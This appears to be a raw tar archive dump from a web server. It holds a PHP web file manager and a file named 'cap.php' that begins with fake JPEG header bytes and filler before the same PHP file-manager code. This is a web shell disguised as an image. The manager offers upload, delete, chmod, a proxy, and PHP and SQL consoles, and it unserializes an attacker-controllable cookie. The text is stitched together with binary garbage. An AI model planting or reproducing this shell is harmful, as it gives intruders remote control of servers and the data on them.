		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           cap.php                                                                                             0000644                 00000234451 15217301621 0006027 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................??????????????????????
???¨¤
 JFIF      ?? C      


!"$"$?? C    
?? p 
" ??     
         ??             ?¨² 
   ????

(%	aA*?XYD?(J??E¡éRE,P€XYae?)(E¡è2€B¡èR£¤	BQ¡è¡é X?)X¡­€¡è?  @  

adadasdasdasasdasdas


.....................................................................................................................................<?php
/**

.........................................
.............................................................................                                                  
                                                                                                                                                                                     <?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];


//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/xml");
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
